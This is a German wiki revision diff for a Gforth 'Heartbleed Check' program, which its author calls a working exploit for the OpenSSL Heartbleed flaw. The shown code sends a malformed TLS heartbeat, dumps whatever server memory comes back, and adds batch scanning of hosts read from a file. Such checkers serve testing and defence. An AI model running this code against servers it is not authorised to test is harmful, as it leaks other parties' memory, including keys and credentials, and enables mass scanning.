Benutzer-Werkzeuge

Webseiten-Werkzeuge


examples:heartbleed

Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

Link zu dieser Vergleichsansicht

Beide Seiten der vorigen RevisionVorhergehende Überarbeitung
Nächste Überarbeitung
Vorhergehende Überarbeitung
Nächste ÜberarbeitungBeide Seiten der Revision
examples:heartbleed [2014-04-11 17:39] berndexamples:heartbleed [2014-04-11 18:51] – added batch processing bernd
Zeile 1: Zeile 1:
 ====== Heartbleed Check ====== ====== Heartbleed Check ======
  
-Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth (snapshot), und dann mit+Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth ([[http://www.complang.tuwien.ac.at/forth/gforth/Snapshots/|snapshot]]), und dann mit
  
 <code> <code>
Zeile 40: Zeile 40:
     s" /dev/urandom" r/o open-file throw >r     s" /dev/urandom" r/o open-file throw >r
     random32 4 + 28 r@ read-file throw drop r> close-file throw ;     random32 4 + 28 r@ read-file throw drop r> close-file throw ;
- 
-Create pollfds pollfd %size allot 
  
 Variable buggy? Variable buggy?
  
-: get-heartbleed ( addr u port -- ) +: get-heartbleed ( addr u port -- )  >r 2dup r>  buggy? off 
-    1000000 set-socket-timeout +    1000000 set-socket-timeout  >random 
-    >random +    open-socket >r
-    open-socket >r  r@ fileno pollfds fd l!  POLLIN pollfds events w!+
     TLS-header header# r@ write-socket     TLS-header header# r@ write-socket
     BEGIN  r@ pad $10000 read-socket nip 0=  UNTIL     BEGIN  r@ pad $10000 read-socket nip 0=  UNTIL
     TLS-heartbleed heartbleed# r@ write-socket     TLS-heartbleed heartbleed# r@ write-socket
-    BEGIN  r@ pad $10000 read-socket dup  WHILE  dump buggy? on  REPEAT  2drop+    BEGIN  r@ pad $10000 read-socket 
 + over c@ $18 = buggy? @ or \ heartbeet reply 
 + over 0<> and 
 +    WHILE  dump buggy? on  REPEAT  2drop
     r> close-socket     r> close-socket
-    buggy? @  IF  ." Heartbleed deteckted ELSE  ." Everything ok"  THEN  cr ;+    type buggy? @  IF  ." Heartbleed detected ELSE  ." Everything ok"  THEN  cr 
 + 
 +Variable files 
 + 
 +: file-heartbleed ( addr u -- ) 
 +    r/w open-file throw files $[]slurp 
 +    files [: 443 get-heartbleed ;] $[]map ;
  
 script? [IF] script? [IF]
examples/heartbleed.txt · Zuletzt geändert: 2014-04-11 22:00 von bernd